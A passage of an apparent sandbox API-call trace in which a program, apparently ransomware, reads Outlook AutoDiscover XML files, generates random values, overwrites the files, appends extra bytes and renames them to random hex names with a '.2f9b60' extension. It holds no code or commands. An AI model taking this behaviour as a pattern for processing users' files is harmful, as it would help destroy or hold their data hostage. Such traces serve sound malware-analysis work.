_Dest=0x431ad42e, _Format="%c%c" | out: _Dest="36") returned 2 [0235.773] sprintf (in: _Dest=0x431ad430, _Format="%c%c" | out: _Dest="e5") returned 2 [0235.773] sprintf (in: _Dest=0x431ad432, _Format="%c%c" | out: _Dest="79") returned 2 [0235.773] sprintf (in: _Dest=0x431ad434, _Format="%c%c" | out: _Dest="92") returned 2 [0235.773] sprintf (in: _Dest=0x431ad436, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.773] sprintf (in: _Dest=0x431ad438, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.773] sprintf (in: _Dest=0x431ad43a, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.773] sprintf (in: _Dest=0x431ad43c, _Format="%c%c" | out: _Dest="d0") returned 2 [0235.773] sprintf (in: _Dest=0x431ad43e, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.773] sprintf (in: _Dest=0x431ad440, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.773] sprintf (in: _Dest=0x431ad442, _Format="%c%c" | out: _Dest="15") returned 2 [0235.773] sprintf (in: _Dest=0x431ad444, _Format="%c%c" | out: _Dest="f0") returned 2 [0235.773] sprintf (in: _Dest=0x431ad446, _Format="%c%c" | out: _Dest="0a") returned 2 [0235.773] sprintf (in: _Dest=0x431ad448, _Format="%c%c" | out: _Dest="89") returned 2 [0235.773] sprintf (in: _Dest=0x431ad44a, _Format="%c%c" | out: _Dest="c1") returned 2 [0235.773] sprintf (in: _Dest=0x431ad44c, _Format="%c%c" | out: _Dest="8f") returned 2 [0235.773] sprintf (in: _Dest=0x431ad44e, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.773] RtlInitAnsiString (in: DestinationString=0x2972fae8, SourceString="48cd2bae6fed3e36e579922b4e2bd07bb015f00a89c18fb1" | out: DestinationString="48cd2bae6fed3e36e579922b4e2bd07bb015f00a89c18fb1") [0235.774] RtlAnsiStringToUnicodeString (in: DestinationString=0x2972fab8, SourceString="48cd2bae6fed3e36e579922b4e2bd07bb015f00a89c18fb1", AllocateDestinationString=1 | out: DestinationString="48cd2bae6fed3e36e579922b4e2bd07bb015f00a89c18fb1") returned 0x0 [0235.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f280 [0235.774] wcscat (in: _Dest=0x1ce17840, _Source="48cd2bae6fed" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48cd2bae6fed") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48cd2bae6fed" [0235.774] wcscat (in: _Dest=0x1ce17840, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48cd2bae6fed.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48cd2bae6fed.2f9b60" [0235.774] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48cd2bae6fed.2f9b60", NtPathName=0x2972fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48cd2bae6fed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205fec0 Thread: id = 3819 os_tid = 0x17fc [0227.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml")) returned 0x20 [0229.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML", dwFileAttributes=0x20) returned 1 [0229.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9dc [0229.346] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x2dd6f6e0 | out: lpFileSize=0x2dd6f6e0*=810) returned 1 [0229.346] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.346] ReadFile (in: hFile=0x9dc, lpBuffer=0x2dd6f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dd6f6a8, lpOverlapped=0x0 | out: lpBuffer=0x2dd6f660*, lpNumberOfBytesRead=0x2dd6f6a8*=0x4, lpOverlapped=0x0) returned 1 [0230.575] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0230.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a40 [0230.576] NtQuerySystemTime (in: CurrentTime=0x2dd6f5a0 | out: CurrentTime=0x2dd6f5a0*=132462178345690000) returned 0x0 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x1231abd6 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x6dd7f02 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x5c0d75a6 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x1ce3258a [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x62da05 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x63caaa22 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x7a8c0503 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x441d1dfb [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x25307907 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x46d119f [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x38e2d141 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x2459fb91 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x61482e17 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x52c0eddf [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x3881eab5 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x7950fb4 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x34d9f654 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x5f15846d [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x19365cfe [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x3408f612 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x642286fd [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x7a01c94f [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0xa068bda [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x290c1bf8 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x467c122d [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0xf7b86ed [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x5dced3f7 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x2f60c58c [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x4dc85645 [0230.576] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x72743773 [0230.577] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x4b8a2a6e [0230.577] RtlRandomEx (in: Seed=0x2dd6f590 | out: Seed=0x2dd6f590) returned 0x28ecc218 [0230.585] ReadFile (in: hFile=0x9dc, lpBuffer=0x203154e0, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x2dd6f590, lpOverlapped=0x0 | out: lpBuffer=0x203154e0*, lpNumberOfBytesRead=0x2dd6f590*=0x32a, lpOverlapped=0x0) returned 1 [0230.585] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.585] WriteFile (in: hFile=0x9dc, lpBuffer=0x2033e990*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x2dd6f594, lpOverlapped=0x0 | out: lpBuffer=0x2033e990*, lpNumberOfBytesWritten=0x2dd6f594*=0x32a, lpOverlapped=0x0) returned 1 [0233.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0233.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263140 [0233.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263140) returned 1 [0233.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2033e990) returned 1 [0233.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203154e0) returned 1 [0233.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8678c0) returned 1 [0233.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0233.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ad220 [0233.799] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.799] WriteFile (in: hFile=0x9dc, lpBuffer=0x431f0cc0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2dd6f6b0, lpOverlapped=0x0 | out: lpBuffer=0x431f0cc0*, lpNumberOfBytesWritten=0x2dd6f6b0*=0x110, lpOverlapped=0x0) returned 1 [0236.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0236.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261280) returned 1 [0236.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261280 [0236.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618e0 [0236.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0236.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262180) returned 1 [0236.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97620 [0236.043] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="88") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="63") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="37") returned 2 [0236.043] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="70") returned 2 [0236.043] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="42") returned 2 [0236.043] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="39") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="76") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="a8") returned 2 [0236.043] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="e9") returned 2 [0236.043] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="84") returned 2 [0236.043] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="99") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="76") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="30") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="88") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="81") returned 2 [0236.043] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="49") returned 2 [0236.043] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="24") returned 2 [0236.044] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="0e") returned 2 [0236.044] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="04") returned 2 [0236.044] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="25") returned 2 [0236.044] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="6f") returned 2 [0236.044] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.044] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="9f") returned 2 [0236.044] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="65") returned 2 [0236.044] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="97") returned 2 [0236.044] RtlInitAnsiString (in: DestinationString=0x2dd6f728, SourceString="ed2e88633770428dc8394c76a8e984997630888149240e04256f8d9f6597" | out: DestinationString="ed2e88633770428dc8394c76a8e984997630888149240e04256f8d9f6597") [0236.044] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dd6f6f8, SourceString="ed2e88633770428dc8394c76a8e984997630888149240e04256f8d9f6597", AllocateDestinationString=1 | out: DestinationString="ed2e88633770428dc8394c76a8e984997630888149240e04256f8d9f6597") returned 0x0 [0236.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86b8b0 [0236.045] wcscat (in: _Dest=0x1ce236a0, _Source="ed2e88633770428" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ed2e88633770428") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ed2e88633770428" [0236.045] wcscat (in: _Dest=0x1ce236a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ed2e88633770428.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ed2e88633770428.2f9b60" [0236.045] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ed2e88633770428.2f9b60", NtPathName=0x2dd6f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ed2e88633770428.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d7360 Thread: id = 3820 os_tid = 0xb94 [0227.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml")) returned 0x20 [0229.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML", dwFileAttributes=0x20) returned 1 [0229.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x934 [0229.287] GetFileSizeEx (in: hFile=0x934, lpFileSize=0x2c91f700 | out: lpFileSize=0x2c91f700*=810) returned 1 [0229.288] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.288] ReadFile (in: hFile=0x934, lpBuffer=0x2c91f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c91f6c8, lpOverlapped=0x0 | out: lpBuffer=0x2c91f680*, lpNumberOfBytesRead=0x2c91f6c8*=0x4, lpOverlapped=0x0) returned 1 [0230.634] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632f0 [0230.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0230.634] NtQuerySystemTime (in: CurrentTime=0x2c91f5c0 | out: CurrentTime=0x2c91f5c0*=132462178346314000) returned 0x0 [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x2221ea18 [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x318752e2 [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x3626955d [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x3e81b59e [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x5b1632a9 [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x1c63bb5b [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x6b57166c [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x71ec230a [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x5a3865bb [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x100d06da [0230.634] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x6104ffc0 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x63dbc6d1 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x6884ec87 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x2c72cfec [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x1c6d10e2 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x47ba89f5 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x461d58c7 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x7eda7d87 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x54002a81 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x1310445a [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x6fb22358 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x1e83f600 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x1feda946 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x6dca776a [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x73e06c1c [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x7f96d522 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x3a2d75e4 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0xc86e419 [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x3b6db0ac [0230.635] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x1d32c2ab [0230.636] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x1b62a6db [0230.636] RtlRandomEx (in: Seed=0x2c91f5b0 | out: Seed=0x2c91f5b0) returned 0x50e357c [0230.643] ReadFile (in: hFile=0x934, lpBuffer=0x20333560, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x2c91f5b0, lpOverlapped=0x0 | out: lpBuffer=0x20333560*, lpNumberOfBytesRead=0x2c91f5b0*=0x32a, lpOverlapped=0x0) returned 1 [0230.643] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.643] WriteFile (in: hFile=0x934, lpBuffer=0x2031cd00*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x2c91f5b4, lpOverlapped=0x0 | out: lpBuffer=0x2031cd00*, lpNumberOfBytesWritten=0x2c91f5b4*=0x32a, lpOverlapped=0x0) returned 1 [0233.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0233.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624b0 [0233.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202624b0) returned 1 [0233.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2031cd00) returned 1 [0233.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20333560) returned 1 [0233.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868140) returned 1 [0233.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0233.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431acf20 [0233.826] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.826] WriteFile (in: hFile=0x934, lpBuffer=0x431f0960*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2c91f6d0, lpOverlapped=0x0 | out: lpBuffer=0x431f0960*, lpNumberOfBytesWritten=0x2c91f6d0*=0x110, lpOverlapped=0x0) returned 1 [0236.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0236.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0236.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261910 [0236.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263860 [0236.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0236.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261670) returned 1 [0236.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97620 [0236.071] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="34") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="a8") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="8f") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="80") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="d4") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="e9") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="27") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="d4") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="18") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="93") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="27") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="51") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="58") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="39") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="8a") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="d3") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="ab") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="26") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="fd") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="77") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="e8") returned 2 [0236.072] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.072] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="49") returned 2 [0236.072] RtlInitAnsiString (in: 